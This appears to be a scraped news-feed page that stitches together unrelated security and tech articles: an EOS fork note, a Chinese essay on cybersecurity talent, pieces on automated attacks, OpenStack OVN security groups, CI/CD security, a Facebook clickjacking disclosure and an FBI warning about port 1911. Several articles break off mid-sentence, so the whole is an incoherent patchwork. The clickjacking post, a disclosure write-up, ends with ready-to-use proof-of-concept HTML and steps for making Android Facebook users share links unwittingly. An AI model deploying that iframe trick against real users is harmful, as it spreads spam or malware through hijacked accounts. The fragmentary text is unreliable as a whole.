EOS再次受黑客攻击,准备要硬分叉,出现两个EOS?

乌鸦认为CPU问题可能将会在下次硬分叉的理由,其目的是为了提升EOS性能,并不是因为EOS社区的里出现纠纷才会出现硬分叉,这是一次技术性的分叉,所有的节点都需要升级到最新版,对社区不会有太大的影响,我们只需要静静的等待BM敲出代码即可。当然如果节点们都投票通过,那么对于EOS来说,可能会带来一次经济收益上的刺激。

虽然EOS的价格波动对于投资者们来说都不看好,无论是熊市还是牛市,EOS的社区热度还是依然维持着,至于会不会有新币种出现,我们都不能一概而论,静观其做,BM会告诉我们答案。

来源:乌鸦区块链

本文由布洛克专栏作者发布,不代表布洛克观点,版权归作者所有

――TheEnd――

关注“布洛克科技”


EOS再次受黑客攻击,准备要硬分叉,出现两个EOS?

陆宝华:建立科学的网络安全人才评价体系

$
0
0

陆宝华:建立科学的网络安全人才评价体系

网络安全离不开人才的支撑,网络对抗说到底也是人才的对抗。如何培养网络安全人才,对人才的评价是至关重要的,建立一个合理的人才评价体系,对于培养网络安全人才的重要性是不言而喻的。从人才评价体系的必要性、重要性及科学性等方面阐述了自己的观点:指出了网络安全需要一个建立数学基础上的完备的理论体系;需要对人才进行分类、分级。并给出了人才评价的标准和方法的思路。还提出一些新的观点:安全是没有受到威胁的状态。

任何事业的成功都需要大量的人才,网络安全更是如此。“没有网络安全就没有国家安全”,网络安全人才的重要性更是不言而喻的。什么样的人算是网络安全的“人才”呢?高学历、高职称?高学位?当然,这些是人才,但是还有一些人,学历不高、学位当然也不高,但是对安全理解却并不低,并且有的还有一些特别的技术和技能,这些能说他们不是人才吗?在我们网络安全圈里,有那么几位,虽然学历达到了本科,可他们原来所学的与计算机、网络、网络安全等完全是不相关的。什么临床医疗的、什么语言文学的,等等。他们也是人才。目前,国家还没有一个权威的人才评价体系,我说的权威并不一定是官方的,不论是哪一方的,只要科学,经过他们评价的人才,用人方认可才真正能体现出“权威“来。

建立网络安全人才评价体系的必要性

人才是靠培养出来的,当然自己对自己的培养也要算在内。可什么样的方法才能更有效地培养出网络安全人才呢?

应当说,就我们国内来说,网络安全人才的培养,还处在一个不断探索和完善的阶段,还没有形成科学的人才培养体系。虽然我们的高等院校开办 了网络安全人才专业,并设置为一级学科,各类培训机构也不算少。但是,我们的网络安全人才培养体系,还不能说是真正的建立起来了。

问题1. 还没有将网络安全的学术理论准确地进行抽象。一个好的学术理论,必然会用数学建立其完善的模型,并用数学语言准确地进行表达。马克思说过,世界上任何一门学科如果没有发展到能与数学紧密联系在一起的程度,那就说明该学科还未发展成熟。紧密联系,而不是仅用到了数学。牛顿力学,就是那3个定律,都是用数学描述的,F=ma,是多么美妙啊。同样,麦克斯韦方程组,把电磁学也完美地表达了出来,还预示了电磁波的存在。而在我们的网络安全学方面,还没有这样的表达。

问题2.这个问题与上一个问题是1个问题的2 个方面,目前网络安全还停留在“术”的这个层面,还没有上升到“道”的层面。只停留在术的层面,就很难对网络安全有整体的、完备的理解。

正是因为如此,相应的教材体系也不完备,一些人一说到网络安全,就是密码技术,还有些人一 说到网络安全就是防火墙。

产生不安全的根本原因是“威胁”,是能够对某些目标构成侵害的因素。所以笔者将安全定义为:安全是没有受到威胁的状态。

从这个意义出发,网络空间安全(更准确的应该是赛博空间安全)应该包含两大方面:一个是由于他人威胁所导致的(人祸);另一大类则是由于自然和自身的因素所导致的(天灾)。而我们在计算机网络中更关注的是人祸(Security),对于Security 问题,笔者认为核心的任务是:“保证授权行为的正确性”或者是“保证正确的授权行为”。

“行为”是“主体”对“客体”的操作,而在网络中,数据则是最根本的客体集合;另一个客体的集合是网络实现的功能。保证行为的正确授权,就是对数据和网络的功能进行保护。

这个定义有3层意思:一是行为是经过授权的,当然包括那些并不构成对其他合法主体侵害的缺省 授权;二是授权必须是正确的(不构成对其他合法 主体的侵害,符合任务和安全需求的最小授权、相应的强度要求、时效性要求和相应的监督机制等); 三是这个正确的授权机制是有有效保证的。不会被绕过,也不会因为其他的原因而失效。如系统中的漏洞,就可能导致这种机制失效。

“道”是对网络安全的本质性的总体认识,而目前关注的人还太少太少。“术”则是解决网络安全问题的方法,现在的关注点基本都在这里。

正是由于这样的一个原因,就有了第3个方面的问题 :

问题3. 许多人对网络(空间)安全的本质认识并不清楚,甚至一些大学的名教授,还会将网络安全的目标说成是:主机安全、网络安全、应用安全、管理安全、内容安全等等。从研究方向上来说,谈这些安全并没有错误。但是,如果把这些也当成网络安全的目标,就存在很严重的偏差了。对于网络安全来说,真正要保护的目标只有2个:数据和系统的服务功能。其他的,都是对它们的支撑,而非保护目标。

问题4. 也正是因为对网络安全的认识不够明确,所以目前的网络人才培养还是比较乱的,目前有这样的一些基本现象 :

● 以密码学为主体的(学校)教学体系 ;

● 以网络防护为主体的(学校与社会)教学体系;

● 以攻防方法为主体的(社会)培训体系。

一些作坊式的培训机构,老师就会那么一点漏洞知识,就敢充专家,搞培训。甚至还有不少的老师,自己根本就不懂,真是以其昏昏,让人昭昭。

如果有一个科学、全面的人才评价体系,就可以引导各类办学机构,将自己的培训向这个体系靠拢,逐步将人才培养和培训体系科学化、规范化。

应该建立一个什么样的评价体系 才算是科学的呢

1)建立一个科学的网络安全人才分类体系

评价网络安全人才要有不同的角度,不能拿一 个搞渗透的人才与产品开发的人才进行比较。所以首先要对网络安全人才进行分类。

对网络安全人才的分类,取决于网络安全人才所从事的职业和领域,大致分为以下几类:

(1)系统与网络的维护类

网络安全的运行维护人员,这部分人才主要的任务是对在运行的网络系统进行维护,如各个单位的系统的管理员、安全员、审计员等相关的管理干 部等等,还包括情报采集分析与预警、安全分析等。

(2)产品开发类

网络安全产品的开发人员,说到底这部分人是软、硬件的开发人员,要包括架构设计、安全功能设计、产品功能与性能设计,产品管理、产品开发、安全测试、分发与售后等等。

(3)安全服务类

网络安全渗透人员:这部分人主要利用各类软件存在的漏洞和

网络安全测评人员:这部分人员主要是从事对网络及系统进行风险评估、等级保护测评,或者其他类的测评人员,如基于CC的测评。

安全咨询类:包括安全需求分析、系统分析、安全策略制定与部署、方案评审、系统与网络的安全检查等。

网络安全的培训教师:这部分人既包括学校的老师队伍,也包括社会从事培训的各类老师。

代码分析人员:从事对软件的代码分析与测试,包括对软件的白盒测试;恶意代码的分析人员;各 类软件的漏洞挖掘人员等。

审计与取证人员:审计和取证有密切关联,但不是一回事,审计是基于日志进行的分析工作,而取证虽然也要大量地查看相关的日志信息,同时还 要分析其他的痕迹,以图重新建立某一过程,并将这些过程用证据的形式进行固定。

(4)理论研究类

网络安全理论研究人员:包括从事网络安全理论的研究和从事网络战研究人员。如密码理论研究、隐藏理论研究等等。

2)人才的分级体系

有了分类作为基础,还要考虑分级,应该制定每一类人员的不同级别要求,如对于一个运维人员来说,就可以分为:初级运维人员、中级运维人员、高级运维人员和专家。而对于一个渗透性测试人员,可以分为:仅能利用某些漏洞和现成的工具进行测试的初级人员;能够利用漏洞链,并且自己制作工具进行渗透的中级人员;不仅可以利用漏洞和工具,还能利用一些合法的行为进行渗透的高级渗透测试人员。对于漏洞挖掘者来说,能够进行逆向和反编译的人员,以及能够从二进制代码中直接分析出漏洞的人员,当然是水平较高的。

3)分类分级与社会实践的目标要一致

分类和分级要与社会实践的目标一致,并且能有对应的岗位级别的限制,低一级的人员不能从事高一级的工作。并且,不同岗位的人员,必须有相应的知识水平、技术技能的最低要求。

4)考核评价标准

要制定一个合适的科学的考评标准,这个标准应该在对现状的摸底调研后,并根据相应的需求进行制定。比如,对于一个从事安全测评的人员来说,如果没有相对完整的安全知识体系,就不可以被评定为相应级别的测评师。如我们推行的网络安全等级保护制度,其核心是基于主客体安全属性的访问控制,而不懂BLP模型、Biba模型并且不理解它们与安全属性之间关系的,就不能成为中级测评师,就不能为三级以上系统进行测评。

5)考核与评价方法

评价方法的科学与否,对于评价结果的准确性是至关重要的。评价方法应该基于理论知识、技术技能两大方面,对于理论知识可以通过考试的方法 来解决,但是考试的题目类型则是非常重要的,不能让应考者只会背条条,或者通过“懵”来获得一 定的分数。除了应考者会背条条外,还要考查其对这些条条的理解能力,可以通过写论文形式和模拟实际系统测评的方式来进行考查。

对于技术和技能,可以通过模拟的环境进行检测和验证。但是这些测试环境的搭建要力求科学,要有一定的难度要求,并且通过这种实测环境,还 可以检验对理论知识的理解程度。

结 语

网络安全人才是小到一个组织大到一个国家的网络安全的根本,必须通过一个科学、全面的人才评价体系对网络安全人才进行评价,并发给相应的证书。看学历,但是不唯学历。通过理论和实际技术与技能的考试与验证给网络安全人才与科学准确的评价,是我国培养网络安全人才必须要有的机制。

文章转自《信息安全研究》2018年第12期

声明:本文来自关键信息基础设施技术创新联盟,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如需转载,请联系原作者获取授权。

Automated Cyber Attacks Are the Next Big Threat. Ever Hear of 'Review Bombing'?

$
0
0

Opinions expressed by Entrepreneur contributors are their own.

If you think hacks are bad now, just wait a few more years-- because "the machines" are coming.

Related:3 Ways To Protect Your Company's Website From Cyber Threats

In the next few years, artificial intelligence, machine learning and advanced software processes will enable cyber attacks to reach an unprecedented new scale, wreaking untold damage on companies, critical systems and individuals. As dramatic as Atlanta’s March 2018 cyber “hijacking” by ransomware was, this was nothing compared to what is coming down the pike once ransomware and other malware can essentially "think" on their own.

This is not a theoretical risk, either. It is already happening. Recent incidents involving Dunkin Donuts' DD Perks program, CheapAir and even the security firm CyberReason'shoneypot test showed just a few of the ways automated attacks are emerging “in the wild” and affecting businesses. (A honeypot experiment, according to Wikipedia ,is a security mechanism designedto detect, deflect, or, in some manner, counteract attempts at unauthorized use of information systems.)

In November, three top antivirus companies also sounded similar alarms. Malwarebytes , Symantec and McAfee all predicted that AI-based cyber attacks would emerge in 2019, and become more and more of a significant threat in the next few years.

What this means is that we are on the verge of a new age in cybersecurity, where hackers will be able unleash formidable new attacks using self-directed software tools and processes. These automated attacks on their own will be able to find and breach even well-protected companies, aand in vastly shorter time frames than can human hackers. Automated attacks will also reproduce, multiply and spread in order to massively elevate the damage potential of any single breach.

Feeling nervous? You should be. Here are a few ways that automated attacks are evolving:

Password guessing

Crack a password, and you own the account. For years, hackers have been developing better tools to do just that.

One new innovation is an automated cyber attack called “ credential stuffing ,” which uses previously stolen passwords to break into online accounts. This attack is extremely effective -- and dangerous -- because so many people reuse their passwords across multiple accounts. This creates a major blindspot for businesses, because even if their security is up to par, all it takes is one sloppy employee, and the whole company can unravel.

Expect these attacks to increase significantly next year, especially since there is now a glut of stolen password databases for sale in the Dark Web. Hackers recently used credential stuffing totarget Dunkin Donuts’ DD Perks rewards program. More businesses will fall victim to it in 2019.

Related:The Growing Menace of Cyber Attacks in the Asia-Pacific region

However, credential stuffing is just the tip of the iceberg.

Researchershave discovered that machine learning programs can be used to predict the passwords a person will create in the future based on what he or she has used in the past . Think about that for a second. This means that if a person loses a couple of passwords to data breaches over the years (and we all know how easily that can happen), that person could -- in theory at least -- be forever vulnerable to password attacks in the future by malicious AI systems scanning the web. This could lead to continual password breaches, which will be very hard to stop.

Hacker bots

New research shows that hackers are beginning to use fully automated “bots” which can carry out extensive cyber attacks all on their own.

Bots are nothing knew: Hackers have been using rudimentary versions of them for years to send spam and scan the web. However, a recent honeypot experiment shows just how far this technology has evolved:When security researchers set up a fake online financial firm, they were shocked to see what a single bot could do . In just 15 seconds, the botwas able to hack into the fake company, gain complete control of its network, scan for employee workstations and steal all the data it could. Again: This alltook only15 seconds.

At that rate of speed, it would be exceedingly difficult for an IT team to respond. And these attacks will become increasingly common over the next few years.

Malicious chatbots

Commercial chatbots are widely used, and they are expected to save companies up to $11 billion by 2023, according to a Juniper estimate. But what happens when a chatbot goes rogue?

We’ve already seen how easily a benign chatbot can be corrupted by “input manipulation” on the web, as in the case of Microsoft’s Tay .

But cybercriminals can go much further, by hacking the bot or infecting it with malware in order to turn it into an information stealer. Ticketmaster’s Inbenta chatbot fell victim to this type of attack. Hackers could also target the back-end network supporting the chatbot, like the [24]7.ai breach which affected Delta and Sears. It is also possible for hackers to create and launch their ow

Implementing Security Groups in OpenStack using OVN Port Groups

$
0
0

Some time back, when looking at the performance of OpenStack using OVN as the networking backend, we noticed that it didn't scale really well and it turned out that the major culprit was the way we implemented Neutron Security Groups . In order to illustrate the issue and the optimizations that we carried out, let's first explain how security was originally implemented:

Networking-ovn and Neutron Security Groups

Originally, Security Groups were implemented using a combination of OVN resources such as Address Sets and Access Control Lists (ACLs):

Address Sets : An OVN Address set contains a number of IP addresses that can be referenced from an ACL. In networking-ovn we directly map Security Groups to OVN Address Sets: every time a new IP address is allocated for a port, this address will be added to the Address Set(s) representing the Security Groups which the port belongs to. $ ovn-nbctl list address_set
_uuid : 039032e4-9d98-4368-8894-08e804e9ee78
addresses : ["10.0.0.118", "10.0.0.123", "10.0.0.138", "10.0.0.143"]
external_ids : {"neutron:security_group_id"="0509db24-4755-4321-bb6f-9a094962ec91"}
name : "as_ip4_0509db24_4755_4321_bb6f_9a094962ec91" ACLs : They are applied to a Logical Switch (Neutron network). They have a 1-to-many relationship with Neutron Security Group Rules. For instance, when the user creates a single Neutron rule within a Security Group to allow ingress ICMP traffic, it will map to N ACLs in OVN Northbound database with N being the number of ports that belong to that Security Group. $ openstack security group rule create --protocol icmp default _uuid : 6f7635ff-99ae-498d-8700-eb634a16903b
action : allow-related
direction : to-lport
external_ids : {"neutron:lport"="95fb15a4-c638-42f2-9035-bee989d80603", "neutron:security_group_rule_id"="70bcb4ca-69d6-499f-bfcf-8f353742d3ff"}
log : false
match : "outport == \"95fb15a4-c638-42f2-9035-bee989d80603\" && ip4 && ip4.src == 0.0.0.0/0 && icmp4"
meter : []
name : []
priority : 1002
severity : []

On the other hand, Neutron has the possibility to filter traffic between ports within the same Security Group or a remote Security Group. One use case may be: a set of VMs whose ports belong to SG1 only allowing HTTP traffic from the outside and another set of VMs whose ports belong to SG2 blocking all incoming traffic. From Neutron, you can create a rule to allow database connections from SG1 to SG2. In this case, in OVN we'll see ACLs referencing the aforementioned Address Sets. In

$ openstack security group rule create --protocol tcp --dst-port 3306 --remote-group webservers default
+-------------------+--------------------------------------+
| Field | Value |
+-------------------+--------------------------------------+
| created_at | 2018-12-21T11:29:32Z |
| description | |
| direction | ingress |
| ether_type | IPv4 |
| id | 663012c1-67de-45e1-a398-d15bd4f295bb |
| location | None |
| name | None |
| port_range_max | 3306 |
| port_range_min | 3306 |
| project_id | 471603b575184afc85c67d0c9e460e85 |
| protocol | tcp |
| remote_group_id | 11059b7d-725c-4740-8db8-5c5b89865d0f |
| remote_ip_prefix | None |
| revision_number | 0 |
| security_group_id | 0509db24-4755-4321-bb6f-9a094962ec91 |
| updated_at | 2018-12-21T11:29:32Z |
+-------------------+--------------------------------------+

This gets the following OVN ACL into Northbound database:

_uuid : 03dcbc0f-38b2-42da-8f20-25996044e516
action : allow-related
direction : to-lport
external_ids : {"neutron:lport"="7d6247b7-65b9-4864-a9a0-a85bacb4d9ac", "neutron:security_group_rule_id"="663012c1-67de-45e1-a398-d15bd4f295bb"}
log : false
match : "outport == \"7d6247b7-65b9-4864-a9a0-a85bacb4d9ac\" && ip4 && ip4.src == $as_ip4_11059b7d_725c_4740_8db8_5c5b89865d0f && tcp && tcp.dst == 3306"
meter : []
name : []
priority : 1002
severity : [] Problem "at scale"

In order to best illustrate the impact of the optimizations that the Port Groups feature brought in OpenStack, let's take a look at the number of ACLs on a typical setup when creating just 100 ports on a single network. All those ports will belong to a Security Group with the following rules:

Allow incoming SSH traffic Allow incoming HTTP traffic Allow incoming ICMP traffic Allow all IPv4 traffic between ports of this same Security Group Allow all IPv6 traffic between ports of this same Security Group Allow all outgoing IPv4 traffic Allow all outgoing IPv6 traffic

Every time we create a port, new 10 ACLs (the 7 rules above + DHCP traffic ACL + default egress drop ACL + default ingress drop ACL) will be created in OVN:

$ ovn-nbctl list ACL| grep ce2ad98f-58cf-4b47-bd7c-38019f844b7b | grep match
match : "outport == \"ce2ad98f-58cf-4b47-bd7c-38019f844b7b\" && ip6 && ip6.src == $as_ip6_0509db24_4755_4321_bb6f_9a094962ec91"
match : "outport == \"ce2ad98f-58cf-4b47-bd7c-38019f844b7b\" && ip"
match : "outport == \"ce2ad98f-58cf-4b47-bd7c-38019f844b7b\" && ip4 && ip4.src == 0.0.0.0/0 && icmp4"
match : "inport == \"ce2ad98f-58cf-4b47-bd7c-38019f844b7b\" && ip4"
match : "outport == \"ce2ad98f-58cf-4b47-bd7c-38019f844b7b\" && ip4 && ip4.src == $as_ip4_0509db24_4755_4321_bb6f_9a094962ec91"
match : "inport == \"ce2ad98f-58cf-4b47-bd7c-38019f844b7b\" && ip6"
match : "outport == \"ce2ad98f-58cf-4b47-bd7c-38019f844b7b\" && ip4 && ip4.src == 0.0.0.0/0 && tcp && tcp.dst == 80"
match : "outport == \"ce2ad98f-58cf-4b47-bd7c-38019f844b7b\" && ip4 && ip4.src == 0.0.0.0/0 && tcp && tcp.dst == 22"
match : "inport == \"ce2ad98f-58cf-4b47-bd7c-38019f844b7b\" && ip4 && ip4.dst == {255.255.255.255, 10.0.0.0/8} && udp && udp.src == 68 && udp.dst == 67"
match : "inport == \"ce2ad98f-58cf-4b47-bd7c-38019f844b7b\" && ip"

With 100 ports, we'll observe 1K ACLs in the system:

$ ovn-nbctl lsp-list neutron-ebde771e-a93d-438d-a689-d02e9c91c7cf | wc -l
100
$ ovn-nbctl acl-list neutron-ebde771e-a93d-438d-a689-d02e9c91c7cf | wc -l
1000

When ovn-northd sees these new ACLs, it'll create the corresponding Logical Flows in Southbound database that will then be translated by ovn-controller to OpenFlow flows in the actual hypervisors. The number of Logical Flows also for this 100 ports system can be pulled like this:

$ ovn-sbctl lflow-list neutron-ebde771e-a93d-438d-a689-d02e9c91c7cf | wc -l
3052

At this point, you can pretty much tell that this doesn't look very promising at scale.

Optimization

One can quickly spot an optimization consisting on having just one ACL per Security Group Rule instead of one ACL per Security Group Rule per port if only we could reference a set of ports and not each port individually on the 'match' column of an ACL. This would alleviate calculations mainly on the networking-ovn side where we saw a bottleneck at scale when processing new ports due to the high number of ACLs.

Such optimization woul

Make CI/CD Fast and Secure

$
0
0

Make CI/CD Fast and Secure

Twain Taylor

Twain is a guest blogger for Twistlock and a Fixate IO Contributor. He began his career at Google, where, among other things, he was involved in technical support for the AdWords team. His work involved reviewing stack traces and resolving issues affecting both customers and the Support team, and handling escalations. Later, he built branded social media applications, and automation scripts to help startups better manage their marketing operations. Today, as a technology journalist, he helps IT magazines, and startups change the way teams build and ship applications.

In a CI/CD pipeline, there are numerous tools at work: a code repository like GitHub, a container registry, a build automation tool, a test automation tool and a deployment automation tool. There are multiple users that collaborate in every deployment, consisting of multiple developers, QA and IT Ops personnel. There are also multiple environments, including development, testing, staging and production.

Each of these components, users and resources are identified by tags and unique identifiers. As each of these users, components and resources interact with each other, events occur and these events create a record of data. All this data that identifies parts of the system, and events occurring across the system together, constitute metadata. This is key to ensuring visibility into the system.

Grafeas is a metadata API that stores and helps analyze all metadata generated in a Kubernetes system. It is comprehensive, able to track any tool you use and flexible enough to factor in any new tools you add to your toolchain down the line. It includes access controls so that you can define which components and users can create or modify metadata ― and which ones can only read metadata. By protecting metadata in this way, it gives you the confidence to use this metadata as a source of truth when triaging incidents.

Metadata has typically been overlooked as trivial information. Tools like Grafeas are changing this and giving metadata a central role in monitoring and securing a CI/CD pipeline. This is the way to achieve continuous feedback at every step of the CI/CD cycle. The best part is that this feedback is automated, it scales with your system and presents an accurate view of what’s really happening at any given moment. In a complex and dynamic system, this kind of continuous feedback is essential.

Sponsor Note


Make CI/CD Fast and Secure

Trusted by 25 percent of the Fortune 100, Twistlock is the most complete, automated and scalable cloud native cybersecurity platform. Purpose built for containers, serverless, and other leading technologies ― Twistlock gives developers the speed they want and CISOs the control they need.

Automate Security Policies

Further, Grafeas works with another tool called Kritis which lets you define security policies that can be enforced on the system. These policies can be based on metadata. They let you define rules that allow only authorized users to deploy container images into production or ensure container images with vulnerabilities are automatically stopped from being deployed.

Similar to Kritis, admission controller is a feature of Kubernetes that lets you define arbitrary policies to better control and manage the CI/CD process. It features a list of plugins that intercept and manage all calls to the Kubernetes API. Admission controller plugins can be used to enforce restrictions on what commands can be executed by privileged containers or ensure that any requests do not exceed the set resource quotas in a namespace. The applications for admission controller are many, and together, they give administrators great control over various aspects of running a Kubernetes cluster in production.

Both Kritis and admission controller let you enforce automated policies for Kubernetes management. Twistlock has partnered with Google to enable support for Kritis. Twistlock leverages Kritis’ strengths to bolster its policy enforcement and image scanning features.

Deploy Multiple Security Processes

Firewalls have changed in the era of cloud-native computing. Rather than peripheral, all-encompassing firewalls, today; containerized applications leverage granular firewalls that secure individual services. These firewalls adapt to the size and complexity of the application and network, and are controlled via policies. The benefit of granular distributed firewalls is that even if one firewall is breached, the others remain secure. This provides multiple layers of security.

An open source tool that is adopting this approach is Project Calico. It implements policy-based network security that views the application as a collection of cloud-based services. It creates micro-firewalls around each service and secures them in a distributed manner.

Twistlock employs this method as well by using its Cloud Native Application Firewall (CNAF) and Cloud Native Network Firewall (CNNF) . CNAF understands the application and protects each individual service in the application using a firewall. Similarly, CNNF adapts to a distributed networking architecture and secures communication between services no matter where they are hosted ― within a single data center or across multiple public cloud platforms.

Securing a CI/CD pipeline in a world of containers is no easy task. There are numerous aspects to consider. By employing dynamic security practices and using multiple security processes, you can secure today’s cloud native applications. Whether it’s to use metadata and a capable tool like Grafeas, enforce policies based on the metadata using a tool like Kritis, enforce even more arbitrary policies using admission controller, or securing the application and networking layer with cloud native firewalls, they’re all essential for container security. While the tools are available, it takes a combination of tactical security measures and modern cloud native tooling to deliver the kind of security that cloud native applications require.

Feature image via Pixabay.


How I accidentally found a clickjacking “feature” in Facebook

$
0
0

I would’ve never thought that one of my first blog posts will be about looking for bugs in Facebook. I don’t consider myself a bounty hunter, and had never actively looked for bugs. I focus mostly on Incident Response, Forensics and Malware Analysis. To my surprise then I am sharing this particular story with you. It’s about my first bug report, a short spam campaign and a strange Facebook feature.

So, yesterday there was this very annoying SPAM campaign on Facebook, where a lot of my friends published a link to what seemed like a site hosted on AWS bucket. It was some link to a french site with funny comics, who wouldn’t click it right?


How I accidentally found a clickjacking “feature” in Facebook
One of the SPAM links

After you clicked on the link, the site hosted on AWS bucket appeared. It asked you to verify if you are 16 or older (in French) in order to access the restricted content. After you clicked on the button, you were indeed redirected to a page with funny comic (and a lot of ads). However in the meantime the same link you just clicked appeared on your Facebook wall. How is this possible?


How I accidentally found a clickjacking “feature” in Facebook
Cickjacking page

After looking at the page source I spotted a suspicious iframe tag, which smelled of a clickjacking. This frame led to another AWS hosted page, which led to another which in the end led to the following facebook url (I changed a destination URL for obvious reasons):

https://mobile.facebook.com/v2.6/dialog/share?app_id=283197842324324&href=https://example.com∈_iframe=1&locale=en_US&mobile_iframe=1

This link, when pasted into the browser leads to a typical “share a page” window you may know from Facebook (although you may need to change app_id , as it was removed). However if we look into the response headers, this page have a properly set X-Frame-Options: DENY header, so it shouldn’t be susceptible to a clickjacking attack. Strange.


How I accidentally found a clickjacking “feature” in Facebook
Suspicious iframe code

I was trying to reproduce this attack in every most popular browser (Chrome, Chromium, Edge, IE, Firefox) but I only confirmed what I already knew. Trying to load this specific iframe in the browser everytime raised a X-Frame-Options error.


How I accidentally found a clickjacking “feature” in Facebook
Correct Chromium behavior

I was a little bit stuck at this point, but these posts kept appearing on my Facebook wall, so it had to work for an attacker. Funny thing is that in the meantime the attacker banned Polish users from his site redirecting them to the nonexistent domain (with Polish swear words in it, so he was definitely Polish). It seems that he targeted this campaign on French Facebook users but he had too much traffic from Poland. At least this is what I assume.


How I accidentally found a clickjacking “feature” in Facebook
Simple geolocation script to ban victims from Poland

After some time and some ideas, I figured out that victims doesn’t have to use a desktop browser, especially with even url from iframe giving me a clue with its “mobile.” subdomain. I launched this in the Android Facebook App and miraculously it worked! The X-Frame-Options header was totally ignored.


How I accidentally found a clickjacking “feature” in Facebook
Working iframe on Android Facebook App

Strangely enough it didn’t work if I tried to put in iframe any other part of protected content (like a settings page for example). It seems that Facebook inbuilt browser chose to deliberately ignore the X-Frame-Options header only for this particular API call.

I dug a little in Facebook Developer documentation and it seemed it may be “not a bug, but a feature”. On this doc page we can learn about a special parameter called mobile_iframe which “if set to true the share button will open the share dialog in an iframe on top of your website […] This option is only available for mobile , not desktop” . It seems then that this is indeed a feature but a very poorly implemented one.

Nevertheless I reported this to the Facebook Bug Bounty program, although I was quite sure this will be rejected as “working as intended” but I didn’t want to publish this post without giving them chance to fix this. This was my first ever bug report so I was quite excited anyway. As expected Facebook declined the issue, despite me trying to underline that this has security implications. They stated that for the clickjacking to be considered a security issue, it must allow attacker to somehow change the state of the account (so for example disable security options, or remove the account). On the bright side I am very pleased with their reaction time and swift response, all matter closed within 12 hours from an initial report.

In my opinion they should fix this, but since they declined it I have no moral issue to publish this article. Maybe it will help to better highlight this problem. As you can see this “feature” can be extremely easily abused by an attacker to trick Facebook users to unwillingly share something on their wall. I cannot stress enough how dangerous this is. This time it was only exploited to spread spam, but I can easily think of much more sophisticated usage of this technique. Just imagine how much damage can a link to a malware document or a phishing site cause when shared by a well-known person with thousands of followers. In the end we all trust our Facebook friends and gurus, don’t we?

Btw. if you want to reproduce this, here is a little PoC instruction:

1. Register a new Facebook App
2. Publish it and turn on the API
3. Create a new website with following html code:
<html><body><iframe style="margin-top: -300;width: 100%;height: 340px;" id="tenframe" src="https://facebook.com/v3.2/dialog/share?app_id<your_app_id>&href=https://example.com/∈_iframe=1&locale=en_US&mobile_iframe=1" scrolling="no"></iframe></body></html>
where you change <your_app_id> to your app id of course
4. Publish a link to this website on a facebook wall
5. Click on the link from a Facebook App on Android - you will see it loads an iframe without any issue

Working PoC is also available here: https://malfind.com/test/poc.html . You have to paste it to your Facebook wall (you can change privacy settings to “Only Me” or use one of Facebook test accounts) and click it from Android App.

FBI warns industry that hackers could probe vulnerable connections in building s ...

$
0
0

Written by

Dec 21, 2018 | CYBERSCOOP

A port for communicating with control systems in buildings leaves unpatched devices on those networks exposed to hackers, the FBI warned the private sector this week, calling attention to a longstanding issue in an often-overlooked segment of critical infrastructure.

Major universities, state governments, and communications companies are among the organizations at risk of having their building-system data exposed, the bureau said in an industry advisory obtained by CyberScoop.The port in question port 1911 is serving up building-network information on the internet that could be of use to hackers.

“This default port discloses system information without authenticating, allowing cyber attackers to identify devices and systems that are not patched against known exploits,” the FBI alert says. “Successful exploitation could lead to data leakage and possible privilege escalation.”

An FBI spokesperson told CyberScoop that the bureau “routinely advises private industry of various cyberthreat indicators observed during the course of our investigations.” That data is provided “to help systems administrators guard against the actions of persistent cybercriminals,” the spokesperson added.

While the advisory raised concerns around the ubiquity of internet-connected buildings, it did not mention any cases of hackers exploiting that access. Industry experts told CyberScoop they had not observed any recent compromises.

The concern is that attackers can collect data on a building network to eventually gain further access to the system. That said, the potential impact of a vulnerability in a heating and cooling system is not very high, according to Reid Wightman, an analyst at industrial cybersecurity company Dragos. Were hackers able to manipulate temperature settings in a building, that access would likely be cut off quickly, he said.

The default port setting mentioned by the FBI is not a new issue, rather a nagging one: researchers have raised concerns about the “Fox” protocol used to connect to the port since at least 2012. But thousands of devices appear to be using the port’s insecure connection today.

As of November, more than 700 industrial control systems (ICS) on U.S.-based networks accepted connections through the port from random IP addresses, the FBI said. However, Billy Rios, a security researcher who has tracked the Fox protocol for years, told CyberScoop the number of exposed systems is likely much higher than 700.

Rios, founder of embedded-device security company WhiteScope, maintains a database of internet-connected buildings. Over 50,000 of the buildings in that database use the Niagara Framework software, which the Fox protocol supports.

A query of Shodan, the search engine for Internet-connected devices, turned up nearly 20,000 connections in the U.S. alone for the Fox protocolvia the default port the FBI referenced.


FBI warns industry that hackers could probe vulnerable connections in building s ...
A screenshot from Shodan showing the amount of port 1911 and Niagra Fox. (Shodan.io) ‘A different threat model in mind’

The Fox protocol was developed by Richmond, Va.-based Tridium Inc., which makes the Niagara Framework software that companies and government organizations around the world use to manage control systems in buildings. Tridium has been grappling with security challenges associated with the Niagara Framework for years.

In 2012, Rios and another researcher, Terry McCorkle, revealed a vulnerability in the Fox protocol that could allow hackers to download user names and passwords from the Niagara Framework. That was the year the software passed more than 300,000 installations, making it one of the most widely used internet-of-things platforms, according to the company website.

Tridium issued a patch for the Fox protocol vulnerability uncovered by Rios and McCorkle, and has continued to update its products.

But according to Rios, the authentication issue raised this week by the FBI is a default feature rather than a vulnerability, so there is no patch. When connected to the port, the protocol beams out on things like the host’s operating system and versions of the Niagara framework installed information that would be useful for an attacker.

Wightman, the Dragos analyst, said the Fox protocol was designed with “a different threat model in mind,” adding: “They probably weren’t imagining that many of these systems would be connected to the internet someday.”

Building operators can protect the Niagara Framework by shielding it from the internet, deep into their operations network, or with a firewall or virtual private network, Wightman said.

Alternatively, Rios said, building system operators can turn off the protocol and use another one, to avoid broadcasting so much information online.

In a statement, Tridium said the FBI advisory referred to “old vulnerabilities that were responded to and resolved with security updates and patches when they were first identified.” The company advised customers to keep all of their software up to date, and pointed to security guide on its website.

“Cybersecurity is a priority we share with our customers,” Tridium added. “We will continue to assess and test the effectiveness of our products and solutions.”

Building-systems security lags

The building-automation sector has lagged behind others in network defense, experts said. While security practitioners have paid greater attention to the ICS field as a whole in recent years, the subsector of building automation has been neglected, said Eddie Habibi, founder of energy-security company PAS Global.

The fact that buildings aren’t considered the most critical of ICS-related infrastructure has bred “a sense of complacency” in the industry about tackling building-protocol vulnerabilities, Habibi told CyberScoop.

“The maintenance personnel responsible for these systems probably don’t keep up with the cybersecurity threats that are out there,” he said.

Another issue is that there is not much of a market for securing building control systems compared with other ICS sectors, Dragos founder Robert M. Lee said.

